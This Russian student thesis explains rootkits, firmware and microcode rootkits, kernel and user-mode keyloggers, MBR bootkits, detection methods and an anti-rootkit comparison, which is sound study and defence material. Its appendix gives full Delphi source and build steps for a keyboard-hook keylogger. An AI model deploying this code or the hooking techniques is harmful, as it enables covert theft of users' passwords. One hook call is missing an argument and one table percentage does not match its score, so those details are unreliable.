Rootkit. Принципы и механизмы работы
Руткит как программа или набор программ для скрытия следов присутствия злоумышленника или вредоносной программы в системе. Программы для поиска и удаления клавиатурных шпионов. Использование RootKit-технологий разработчиками вирусов, троянских программ.
Рубрика | Программирование, компьютеры и кибернетика |
Вид | дипломная работа |
Язык | русский |
Дата добавления | 21.01.2015 |
Размер файла | 718,9 K |
Отправить свою хорошую работу в базу знаний просто. Используйте форму, расположенную ниже
Студенты, аспиранты, молодые ученые, использующие базу знаний в своей учебе и работе, будут вам очень благодарны.
Учитывая, что микропрограмма очень важна для нормального функционирования системы, руткит не должен оказывать на нее негативного влияния. Наоборот, руткит должен наделять существующий код новыми возможностями. Это легко сделать, если восстановить исходную микропрограмму утилитой наподобие IDA-Pro См. www.datarescue.com. и найти подходящее место, куда можно внести исправления. Объем микропрограммы ограничен, так что если размер руткита недостаточно мал, чтобы поместиться в свободное место на микросхеме памяти, то придется еще и переписать некоторые фрагменты микропрограммы. Иногда случается, что в микропрограмме предусмотрены возможности, которые никогда не используются устройством, или же существуют секции с «лишними» в данных условиях данными. Именно эти фрагменты могут быть кандидатами на перезапись.
Для того чтобы поместить руткит в устройство, его требуется записать в микросхему памяти. (Самое очевидное место для модификации в ПК - BIOS.) Это можно сделать при помощи внешнего оборудования или специальной программы. Внешнее оборудование требует физического доступа к цели атаки, в то время как программа загрузки просто должна быть установлена на ПК. Таким образом, для персонального компьютера более приемлемо использовать программный загрузчик, который легко может быть доставлен на целевую машину троянским конем или эксплойтом. В дальнейшем при помощи загрузчика в микропрограмму могут быть внесены изменения.
Если цель - маршрутизатор или какое-либо встроенное устройство, возможно, будет непросто использовать внешнюю программу загрузки. Многие устройства не разрабатывались для внешней загрузки в них чужого программного обеспечения и не имеют механизма одновременного выполнения нескольких процессов. Иногда лучшее, на что можно надеяться, - это предусмотренная разработчиками возможность обновления микропрограммы в автономном режиме.
Доступ к устройству
Помимо способности вычислять, любое программное обеспечение имеет еще одну очень полезную способность - способность перемещать данные с одного места на другое. Фактически, перемещение данных иногда даже более важно, чем вычисления. Ни один уважающий себе пользователь ПК не игнорирует скорость пересылки данных, то есть быстродействие шины, накопителей и процессора. Чем выше скорость - тем лучше. Большинство аппаратных средств компьютера позволяют программно управлять пересылкой данных и кода в микрочипы. У большинства устройств имеются микрочипы, которые можно адресовать каким-либо образом.
Адресация устройств
Чтобы переслать данные в микросхему, требуется адрес. Обычно такие адреса известны заранее. Они жестко прописаны в системе. Адресная шина компьютера состоит из множества электрических выводов, и у каждой микросхемы памяти имеется свой вывод. Итак, определяя, по какому адресу производить запись в память, на самом деле определяется, в какую именно микросхему выполнять запись.
После того как микросхема выбрана, она читает данные из шины данных. Именно эта микросхема контролирует поток данных. Многие устройства имеют специальный микроконтроллер, который позволяет пересылать данные внутрь устройства через адресуемую область памяти - порт. Чтение из порта и запись в порт могут потребовать использования специальных машинных инструкций, и большинство процессоров имеет набор команд, специально предназначенных для этого.
Доступ к BIOS
В большинстве случаев BIOS требуется только на этапе загрузки компьютера. Современные операционные системы очень ограниченно используют функциональные возможности BIOS. После самонастройки и определения подключенных жестких дисков BIOS передает управление в загрузочный сектор устройства, который и загружает операционную систему.
Современные микросхемы BIOS - это микросхемы флэш-памяти, имеющие возможность программного обновления. Знаменитый вирус ОН был специально разработан для уничтожения BIOS на компьютере. Он чрезвычайно разрушителен и очень дорого обошелся тем, чьи компьютеры были заражены.
Доступ к PCI- и PCMCIA-устройствам
Очень много хороших устройств присоединяется к шинам PCI и PCMCIA, например, сетевые карты, карты беспроводной связи и великое множество внешних устройств. На каждом PCI-устройстве может быть собственная микросхема BIOS, и было бы очень неплохо разместить там свой руткит. Еще одна интересная идея состоит в том, чтобы использовать переносимые устройства (такие, как PCMCIA-карты или USB-ключи) для того, чтобы при их подключении вставить тело руткита непосредственно в оперативную память компьютера1.
Несомненно, при работе с аппаратурой возникает много сложностей. Но в то же время у руткитов аппаратного уровня большой потенциал.
Обновление микрокода
Современные процессоры от Intel и AMD имеют возможность обновления микрокода. Специальный код загружается в процессор и изменяет работу процессора. Что происходит «под капотом», все еще остается тайной. Доступной документации по данному вопросу практически нет.
Обновление микрокода было придумано отнюдь не хакерами. Его основное предназначение состоит в том, чтобы исправлять внутренние ошибки процессора. Если с процессором что-то не так, обновление микрокода может помочь. Это предотвращает необходимость обмена «дефектных» компьютеров (что очень дорого). Микрокод позволяет добавлять новые и изменять старые коды операций. Можно также изменить способ исполнения инструкции или отключить некоторые возможности процессора.
В теории если бы хакер получил возможность изменить микрокод процессора, он смог бы добавить специальную «подрывную» инструкцию. Главным препятствием на данный момент является сам механизм обновления микрокода. Как только он будет раскрыт, станет возможным добавление специальных кодов с лазейкой. Очевидным примером могла бы быть инструкция, способная игнорировать разницу между третьим и нулевым кольцами защиты. Инструкция GОRINGZERO, например, могла бы переключать процессор в нулевое кольцо без каких-либо проверок безопасности.
Сам микрокод хранится как блок данных, и должен копироваться в процессор при каждой загрузке. Обновление происходит при помощи специальных управляющих регистров процессора. Обычно микрокод записан в микросхеме BIOS и копируется в процессор при загрузке. Хакер может исправить микрокод, хранимый в BIOS, или скопировать его в процессор «на лету». Никакой перезагрузки не потребуется, микрокод будет задействован сразу же.
Микрокод процессоров Intel защищен надежным шифром, и для внесения модификаций в микрокод нужно взломать шифр. В процессорах AMD шифрование не используется, поэтому работать с ними намного проще. Для операционной системы Linux существует специальный драйвер, позволяющий менять микрокоды в процессорах Intel и AMD.
Сейчас многие пытаются понять структуру микрокода и прикладывают много усилий для изучения его «внутренностей», теоретически изменения в микрокоде могут вывести процессор из строя.
Глава Клавиатурные шпионы.
Клавиатурные шпионы - это программа для скрытной записи информации о нажимаемых пользователем клавишах. У термина «клавиатурный шпион» есть ряд синонимов: Keyboard Logger, KeyLogger, кейлоггер; реже встречается термины "снупер", "snoop", "snooper" (от англ. snoop - буквально "человек, вечно сующий нос в чужие дела")
Как правило, современные клавиатурные шпионы не просто записывает коды вводимых клавиш - он "привязывает" клавиатурный ввод к текущему окну и элементу ввода. Кроме того, многие клавиатурные шпионы отслеживают список запущенных приложений, умеют делать "снимки" экрана по заданному расписанию или событию, шпионить за содержимым буфера обмена и решать ряд задач, нацеленных на скрытное слежение за пользователем. Записываемая информация сохраняется на диске и большинство современных клавиатурных шпионов могут формировать различные отчеты, могут передавать их по электронной почте или http/ftp протоколу. Кроме того, ряд современных клавиатурных шпионов пользуются RootKit технологиями для маскировки следов своего присутствия в системе.
Для системы клавиатурный шпион, как правило, безопасен. Однако он чрезвычайно опасен для пользователя - е его помощью можно перехватить пароли и прочую конфиденциальную информацию, вводимую пользователем. К сожалению, в последнее время известны сотни разнообразных кейлоггеров, причем многие из них не детектируются антивирусами.
Клавиатурный шпион на базе руткит-технологии в UserMode
Принцип действия такого клавиатурного шпиона основан на перехвате ряда функций USER32.DLL для мониторинга их вызовов. Данные вредоносные программы пока не получили особого распространения, но это только вопрос времени. Опасность применения руткит-технологии в клавиатурном шпионе объясняется тем, что, во-первых, многие антикейлоггеры не рассчитаны на поиск шпионов такого типа и не способны им противодействовать, а во-вторых, антируткиты часто не проверяют перехваты функций библиотеки user32.dll.
Принцип работы шпиона достаточно прост: при помощи любой из известных руткит-технологий производится перехват одной или нескольких функций, позволяющих получить контроль над вводимой с клавиатуры информацией. Самым простым является перехват функций GetMessage и PeekMessage (рис. 1).
Рис. 1
Работа шпиона организована следующим образом. Приложение вызывает функцию PeekMessage для того, чтобы узнать, есть ли в очереди сообщения указанного типа. Этот вызов перехватывается по руткит-принципу (методика в данном случае не имеет значения). Затем перехватчик вызывает реальную функцию PeekMessage из user32.dll и анализирует возвращаемые результаты. Если функция возвращает true, это означает, что сообщение было в очереди и что оно извлечено в тот буфер, указатель на который передается в качестве первого параметра функции. В этом случае перехватчик проверяет сообщения в буфере на предмет обнаружения сообщений типа WM_KEYDOWN (нажатие клавиши), WM_KEYUP (отпускание клавиши), WM_CHAR (посылается окну после обработки WM_KEYDOWN при помощи TranslateMessage). При выявлении подобного сообщения можно узнать код нажимаемой клавиши и передать его системе протоколирования и анализа (шаг 4). Далее управление возвращается приложению (шаг 5), которое не знает о наличии перехватчика.
Подобный клавиатурный шпион очень опасен, так как:
· он не обнаруживается стандартными методиками поиска клавиатурных шпионов;
· возможно внедрение перехватчика по определенным условиям, в результате чего он внедряется не во все GUI-процессы, а в строго определенные (например, в процессы браузера или в приложение типа WebMoney);
· против него бесполезны экранные клавиатуры и прочие средства борьбы с клавиатурными шпионами;
· кроме перехвата функций PeekMessage и GetMessage, могут быть перехвачены функции копирования информации при работе с буфером обмена (OpenClipboard, CloseClipboard, GetClipboardData, SetClipboardData), опроса состояния клавиатуры (GetKeyState, GetAsyncKeyState, GetKeyboardState) и другие функции user32.dll, что усиливает опасность шпиона, а перехват функций типа CreateWindow позволяет отслеживать создание окон.
Клавиатурный шпион на базе руткит-технологии в KernelMode
Принцип действия шпиона данного типа аналогичен UserMode, но в данном случае производится перехват одной или нескольких функций win32k.sys. Как и в случае с UserMode, наибольший интерес для перехватчика представляет функция PeekMessage и ее аналоги, поскольку это позволяет производить мониторинг и модификацию абсолютно всех получаемых программой сообщений без установки ловушки или фильтра.
На рис. 2 перехватчик показан условно, поскольку для его установки существуют разные методики, в частности:
· перехват SYSCALL и INT 2E;
· перехват функции с подменой адреса в соответствующей ячейке таблицы KeServiceDescriptorTableShadow. Единственной сложностью для создателя подобного шпиона является поиск этой таблицы, которая не экспортируется ядром и не документирована. Однако известны пути преодоления этой проблемы, а средства для этого можно найти в Интернете;
· модификация машинного кода win32k.sys. Для этого тоже необходим поиск таблицы KeServiceDescriptorTableShadow. При этом возможна интересная ситуация: функция может быть уже перехвачена (например, антикейлоггером), и тогда будет произведена модификация машинного кода перехватчика, что еще больше усложнит обнаружение шпиона.
Рис. 2
Алгоритм работы шпиона весьма прост. Приложение вызывает функцию библиотеки user32.dll (шаг 1; в качестве примера рассмотрим вызов PeekMessage). Функция PeekMessage в user32.dll по своей сути является переходником, а в конечном счете при помощи SYSCALL в Windows XP или INT 2E в Windows NT и Windows 2000 будет произведен вызов функции ядра (шаг 2). Этот вызов будет перехвачен шпионом (местоположение перехватчика зависит от методики перехвата). Перехватчик, в свою очередь, вызовет реальную функцию (шаг 3) и проанализирует возвращенные ей результаты. В случае успешного извлечения из очереди сообщения нужного шпиону типа он произведет его анализ и запротоколирует результаты (шаг 4). Работа шпиона абсолютно незаметна для всех приложений, и обнаружить его можно только специальными программами, производящими поиск перехватов и модификации машинного кода модулей ядра.
Программы для поиска и удаления клавиатурных шпионов
Любой антивирусный продукт. Все антивирусы в той или иной мере могут находить клавиатурные шпионы, однако клавиатурный шпион не является вирусом и в результате пользы от антивируса мало;
Утилиты, реализующие механизм сигнатурного поиска и эвристические механизмы поиска. Примером может служить утилита AVZ, сочетающая сигнатурный сканер и систему обнаружения клавиатурных шпионов на базе ловушек;
Специализированные утилиты и программы, предназначенные для обнаружения клавиатурных шпионов и блокирования их работы. Подобные программы наиболее эффективны для обнаружения и блокирования клавиатурных шпионов, поскольку как правило могут блокировать практически все разновидности клавиатурных шпионов.
Из специализированных программ интерес могут представлять коммерческие продукты PrivacyKeyboard и Anti-keylogger (http://www.bezpeka.biz/).
Глава Буткит
Буткит (Bootkit) (от англ. boot - загрузка и kit - набор инструментов) - это вредоносная программа (так называемая MBR-руткит), которая осуществляет модификацию загрузочного сектора MBR (Master Boot Record) - первого физического сектора на жёстком диске. (Известный представитель ? Backdoor.Win32.Sinowal). 1
Назначение
Используется вредоносами для получения максимальных привилегий в операционных системах. Буткит может получить права администратора (суперпользователя) и выполнять любые вредоносные действия. Например, он может загрузить в память некоторую динамическую библиотеку DLL, которая вообще не существует на диске. Такую библиотеку очень трудно обнаружить обычными методами, используемыми антивирусами.
Способ распространения
Через взломанные сайты, порноресурсы и сайты, с которых можно загрузить пиратское ПО. При посещении пользователем зараженной страницы, у него на компьютере начинает выполняться специальный скрипт, который на основании текущей даты, установленной на компьютере, генерирует имя сайта, на который необходимо перенаправить пользователя для получения «персонального» эксплойта.
Заражение
При запуске инсталлятор записывает зашифрованное тело буткита в последние сектора жесткого диска, находящиеся за пределами используемого операционной системой дискового пространства. Для обеспечения автозагрузки буткит заражает MBR компьютера, записывая в него свой начальный загрузчик, который до старта операционной системы считывает с диска и разворачивает в памяти основное тело руткита, после чего отдает управление ОС и контролирует процесс ее загрузки. Буткит можно рассматривать как гибрид между вирусом и типом загрузочного сектора.
Обнаружение и ликвидация
Семейство данных вредоносных программ ведет себя достаточно скрытно, на зараженной системе его нельзя обнаружить штатными средствами, так как при обращении к зараженным объектам он «подставляет» оригинальные копии. Кроме того, основное тело вредоносной программы (драйвер уровня ядра) не присутствует на файловой системе, а расположено в неиспользованной части диска за границей последнего раздела. Вредоносная программа загружает драйвер самостоятельно, без помощи операционной системы. Сама же операционная система не подозревает о наличии драйвера. Обнаружение и лечение данного буткита является наиболее сложной задачей из всех, с которыми приходилось сталкиваться специалистам антивирусной индустрии на протяжении нескольких лет. Способом борьбы с буткитами является загрузка системы с любого съемного неинфицированного носителя, чтобы избежать основной загрузки вируса после включения компьютера.
Глава 3. Методики обнаружения RootKit в системе
Обнаружение руткитов может быть делом довольно сложным, особенно если они работают в ядре. Причина в том, что руткит режима ядра способен менять функции, используемые всеми программами, в том числе программами защиты.
Все средства, которые доступны программам защиты, доступны и руткиту. Какие бы направления внутри операционной системы ни блокировались, чтобы защититься от действий руткита, все они легко могут быть разблокированы. Руткит может препятствовать запуску или правильной работе программ обнаружения или предотвращения вторжений. В конечном итоге в «гонке вооружений» между нападающим и защищающимся подавляющее преимущество у того кода, который раньше проникнет в ядро и будет исполнен.
Нельзя сказать, что для защищающегося все потеряно, но слепдует понимать, что программное обеспечение, которое сегодня успешно решает свои задачи, завтра может пропустить руткит. По мере того как разработчики руткитов выясняют, что и как делают программы обнаружения вторжений, появляются все более совершенные руткиты. Верно и обратное: разработчики непрерывно обновляют программы обнаружения вторжений по мере появления новых технологий в разработке руткитов.
Рассмотрим два основных подхода к обнаружению руткитов: определение факта присутствия руткита и выявление его деятельности.
Обнаружение факта присутствия
Для обнаружения факта присутствия руткита может быть использовано множество приемов. В прошлом соответствующие программы, такие как Tripwire (См. www.tripwire.org.) искали некие образы в файловой системе. Подобный подход, который до сих пор применяют основные производители антивирусных программ, вполне подходит и для обнаружения руткитов.
В основе данного подхода лежит предположение, что руткит использует файловую систему. Очевидно, что это предположение не работает, если запускать руткит непосредственно из памяти или размещать где-то в аппаратном обеспечении.
Кроме того, если противоруткитные средства запускаются непосредственно из инфицированной системы1Для получения оптимальных результатов программы проверки целостности должны запускаться с копией проверяемого дискового образа на отдельной машине., можно заставить их работать неправильно. Для этого руткит может скрывать файлы, перехватывая системные вызовы или используя фильтрующий драйвер.
Поскольку программам, подобным Tripwire, присущи указанные ограничения, используются и другие методы обнаружения руткитов.
Обнаружение деятельности
Выявление деятельности руткита - это многообещающее новое направление в области обнаружения руткитов. Идея - поймать операционную систему на «лжи». Если вы найдете API-функции, которые возвращают неверные значения, то вы не только определите факт наличия руткита, но и узнаете, что он пытается скрыть. Однако для того чтобы определить, что система «врет», вам требуется получить истинное значение, не полагаясь на значение, возвращаемое проверяемой API-функцией.
Базовые методики поиска RootKit:
1. Сравнение двух «снимков» системы (например, списка файлов на диске). Первый снимок делается на проверяемой системе, второй - после загрузки с CD или подключения исследуемого HDD к заведомо чистому компьютеру. Подобная методика гарантированно позволит обнаружить любой RootKit, который маскирует на диске свои файлы.
2. Сравнение данных, возвращаемых API функциями разного уровня и (или) получаемых низкоуровневыми методами (например, прямым чтением диска и анализом файлов реестра). Данная методика не требует перезагрузки исследуемого ПК и реализована в бесплатной утилите RootkitRevealer от SysInternals. Другим примером может случить утилита KLister (www.rootkit.com) для построения списка запущенных процессов, которая состоит из драйвера и консольной программы, использующей этот драйвер;
3. Анализ в памяти функций основных библиотек на предмет наличия изменений их машинного кода. Данный метод наиболее эффективен для борьбы с RootKit в пользовательском режиме. Подобная методика позволяет не только обнаружить перехват функций, но и восстановить нормальную работу поврежденных функций. Кроме того, сравнение «снимков» системы, полученных до и после восстановления функций API во многих случаях позволяет обнаружить маскирующиеся процессы, сервисы и драйверы. Данная методика не требует перезагрузки и один из вариантов реализован в утилите AVZ;
4. Анализ и восстановление ServiceDescriptorTable. Данная методика позволяет бороться с рядом перехватчиков, работающих в режиме ядра (собственно, с перехватчиками, основанными на правке SDT). Практическая реализация - утилита SDTRestore. Однако восстановление SDT окажет воздействие на работу всей системы и может привести к очень неприятным последствиям (в простейшем случае - полное зависание системы с выходом на BSoD, в худшем - непредсказуемое нарушение нормальной работы приложений, перехватывающих NativeAPI для реализации своих функций).
Заключение
Описанные выше базовые методики перехвата функций поясняют основные принципы работы RootKit. Однако следует помнить, что разработчики RootKit-технологий не стоят на месте, в результате постоянно появляются новые разработки, подходы и методы.
Практика показывает, что разработчики вредоносных программ (вирусов, троянских программ, шпионского ПО) все чаще начинают использовать RootKit-технологии, что существенно затрудняет обнаружение и удаление созданных ими вредоносных программ. Чаще всего применяются методики перехвата функций в режиме пользователя, но в последнее время появились весьма эффективные реализации с применением драйверов. В этом плане по статистике наиболее «знаменит» Backdoor.Win32.Haxdoor, который устанавливает в систему несколько драйверов, что позволяет ему достаточно эффективно маскироваться от обнаружения пользователем.
Список использованной литературы
Г. Хоглунд, Дж. Батлер - Руткиты. Внедрение в ядро Windows.
Д. Колиснеченко - Руткиты под Windows: Теория и практика программирования.
Возможности rootkit и борьба с ними. http://www.cybersecurity.ru/manuals/crypto/law/5734.html.
Windows под прицелом http://www.securitylab.ru/contest/212106.php.
Приложение 1
Итоговые результаты тестирования программ антируткитов
Лучшие антируткиты по результатам теста
Название антируткита |
Всего баллов (максимум 12) (max 12) |
% от максимально возможного |
|
GMER 1.0.15.15281 |
10,5 |
88% |
|
VBA32 Antirootkit 3.12 (beta) |
10 |
83% |
|
RootRepeal 1.3.5 |
9 |
75% |
|
Online Solutions Autorun Manager 5.0.11922.0 |
8 |
67% |
|
XueTr 1.0.2.0 |
8 |
67% |
|
Rootkit Unhooker 3.8.386.589 |
7,5 |
63% |
|
KernelDetective 1.3.1 |
7,5 |
50% |
|
SysReveal 1.0.0.27 |
6,5 |
54% |
|
Sophos Anti-Rootkit 1.5.0 |
6 |
50% |
|
Trend Micro RootkitBuster 2.80 |
3 |
25% |
|
Eset SysInspector 1.2.012.0 |
2,5 |
21% |
|
Panda Anti-Rootkit 1.0.8.0 |
1,5 |
13% |
Приложение 2
Клавиатурный шпион на Borland Delphi Personal v. 7.0.
Простейшая реализация клавиатурного шпиона заключается в том, что программа устанавливает ловушку (hook) в операционную систему, после чего начинает записывать все нажатия клавиш в файл.
Файл hook.dpr это исходник библиотеки необходимой для запуска клавиатурного шпиона, там же в коде можно поменять место сохранения и названия лог файла (по умолчанию это D:\log.txt).
Файл hookprog.dpr файл проекта самого клавиатурный шпиона.
Файл Unit1.pas исходный текст модуля подключаемого к файлу hookprog.dpr.
Для запуска в среде Borland Delphi нужно, сначала открыть hook.dpr, и компилировать библиотеку, а затем уже открыть hookprog.dpr. Все три файла должны находиться в одной папке.
Файл hook.dpr
library hook;
Uses Windows, Messages, Sysutils;
Var myHook: HHook = 0;
function MsgProc(Code: integer; wParam: Word; lParam: Longint): Longint; stdcall;
var c: char; f: text;
key: array [0..16] of Char;
begin
if (Code=HC_ACTION) and (((lParam shr 16) and KF_UP)=0) then
begin
Assign(f,'D:\log.txt');
if FileExists('D:\log.txt') then
Append(f) else Rewrite(f);
GetKeyNameText(lParam,key,SizeOf(key));
Writeln(f,key);
CloseFile(f);
//Wnd:=wParam;
//getWindowText(Wnd,str2,255);
//str:=str2;
//if str<>'' then MessageBox(0,PChar(str),'',mb_TaskModal);
//end;
//if str='Диспетчер задач Windows' then result:=0 else
result:=CallNextHookEx(myHook,Code,wParam,lParam);
//result:=0;
end;
end;
procedure setHook(Hook: boolean) export; stdcall;
begin
if Hook then
begin
if myHook=0 then
myHook:=SetWindowsHookEx(WH_KEYBOARD,@MsgProc,HInstance,);
end
else
begin
if myHook<>0 then
UnHookWindowsHookEx(myHook);
myHook:=0;
end;
end;
exports setHook name 'SetHook';
begin
end.
Файл hookprog.dpr
program hookprog;
uses
Forms,
Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
Файл Unit1.pas
unit Unit1;
interface
uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;
type TForm1 = class(TForm)
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormShow(Sender: TObject);
private { Private declarations }
public { Public declarations }
end;
var Form1: TForm1;
procedure setHook(Hook: boolean) stdcall; external 'hook.dll' name 'SetHook';
implementation
{$R *.DFM}
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
setHook(false);
end;
procedure TForm1.FormShow(Sender: TObject);
begin
setHook(true);
end;
end.
Размещено на Allbest.ru
...Подобные документы
Рассмотрение принципов работы руткита. Изучение особенностей захвата в режиме пользователя. Анализ модификации машинного кода прикладной программы. Оценка механизма работы руткита в режиме ядра. Характеристика методов обнаружения rootkit в системе.
дипломная работа [241,9 K], добавлен 12.05.2019Определение и анализ сущности брутфорса – одного из популярных методов взлома паролей на серверах и в различных программах. Характеристика клавиатурного шпиона на базе драйвера. Рассмотрение основных программ для поиска и удаления клавиатурных шпионов.
курсовая работа [100,9 K], добавлен 03.08.2017Установка и использование антивирусных программ. Определение скорости проверки файлов на наличие вирусов. Проверка антивирусных программ на эффективность поиска зараженных файлов. Антивирусные программы NOD32, Dr. WEB, Kaspersky Internet Security.
курсовая работа [69,1 K], добавлен 15.01.2010Статистика совершения преступлений с использованием современной вычислительной техники. Принципы реализации атак: установка вредоносной программы и сохранение ее невидимой. Сущность и классификация троянских программ, основные тенденции их развития.
курсовая работа [635,0 K], добавлен 28.08.2009Применение антивирусов для эффективного обнаружения вирусов на компьютере и их обезвреживания. Признаки заражения вирусами. Явные проявления троянских программ: изменение настроек браузера, всплывающие сообщения, несанкционированный дозвон в Интернет.
лабораторная работа [2,0 M], добавлен 13.09.2013Первый прототип вируса. Идея создания самовоспроизводящихся программ. Разработка вирусоподобных программ. Основные признаки проявления вирусов. Классификация компьютерных вирусов. Рынок антивирусных программ. Основные виды антивирусных программ.
презентация [1,8 M], добавлен 25.10.2012История выражения "троянский конь". Описание некоторых видов троянских вирусов (троянов) - замаскированных вредоносных программ. Опасность установления пиратского программного обеспечения. Виды программ-паразитов. Антивирусное программное обеспечение.
статья [28,8 K], добавлен 28.04.2010Особенности антивирусных программ (антивирусов) - компьютерных программ, предназначенных для обезвреживания вирусов и различного рода вредоносного ПО, с целью сохранности данных и оптимальной работы ПК. Классификация и примеры антивирусных программ.
реферат [22,4 K], добавлен 26.03.2010Описания вредоносного программного обеспечения. Анализ классических компьютерных вирусов. Особенности троянских программ и сетевых червей. Среда существования вирусов. Признаки появления и способы заражения вирусами. Программные антивирусные средства.
презентация [934,7 K], добавлен 23.09.2015Появление компьютерных вирусов, их классификация. Проблема борьбы антивирусных программ с компьютерными вирусами. Проведение сравнительного анализа современных антивирусных средств: Касперского, Panda Antivirus, Nod 32, Dr. Web. Методы поиска вирусов.
курсовая работа [73,2 K], добавлен 27.11.2010Антивирусные программы и требования, предъявляемые к ним. Характеристики антивирусных программ. Универсальные детекторы. Программы-доктора (фаги). Программы-ревизоры. Вакцины. Краткий обзор антивирусных программ и их сравнительная характеристика.
реферат [20,2 K], добавлен 08.10.2008Антивирусные программы и требования, предъявляемые к ним. Характеристики антивирусных программ. Универсальные детекторы. Программы-доктора (фаги). Программы-ревизоры. Вакцины. Краткий обзор антивирусных программ и их сравнительная характеристика.
презентация [3,0 M], добавлен 08.10.2008Использование и создание компьютерных средств обучения. Содержание и реализация электронной обучающей программы. Методы защиты программ от несанкционированного доступа. Разработка эскизного, технического и рабочего проектов программы, ее интерфейса.
курсовая работа [462,8 K], добавлен 05.04.2014Программы для поиска компьютерных вирусов, похожих на известные и выполняющих подозрительные действия. Модуль обновления, планирования и управления. Настройка параметров антивирусных модулей, обновлений, периодического запуска обновления и проверки.
лабораторная работа [89,2 K], добавлен 13.09.2013Понятие компьютерного вируса как программы, несанкционированно проникшей в компьютер с целью нанесения вреда. Способы проникновения шпионских программ: червей, троянских и мобильных вирусов, зомби, фишинга, фарминга. Достоинства и недостатки антивирусов.
презентация [1,1 M], добавлен 31.10.2011История развития вирусов и антивирусов. Классификация антивирусных программ. Методы работы антивирусных программ. Другие методы работы антивирусных программ. Сравнение антивирусов: SymantecNortonAntivirus 2005; антивирус Касперского Personal; DoctorWeb.
реферат [28,8 K], добавлен 22.06.2019Разработка программы "Калькулятор" для работы с вещественными числами. Алгоритм работы программы. Набор тестов и варианты исполнения программы. Порядок ввода текста, стандартные ошибки в работе программы. Программная документация, текст программы.
курсовая работа [225,9 K], добавлен 13.10.2013Задачи диагностики электронно-вычислительной машины. Виды диагностических программ. Диагностические программы специального и общего назначения. Особенности метода микродиагностирования. Возможности программы AIDA64. Стоимость диагностических программ.
курсовая работа [3,2 M], добавлен 04.04.2014Информационные технологии в создании обучающих программ. Принципы построения тестирующих программ. Программы по высшей математике: ODE; Формула; "Математика". Методы решения дифференциальных уравнений в символьном виде. Модульность программного средства.
дипломная работа [488,2 K], добавлен 08.06.2011История появления компьютерных вирусов как разновидности программ, особенностью которых является саморепликация. Классификация компьютерных вирусов, пути их распространения. Меры предосторожности от заражения компьютера. Сравнение антивирусных программ.
курсовая работа [2,8 M], добавлен 06.08.2013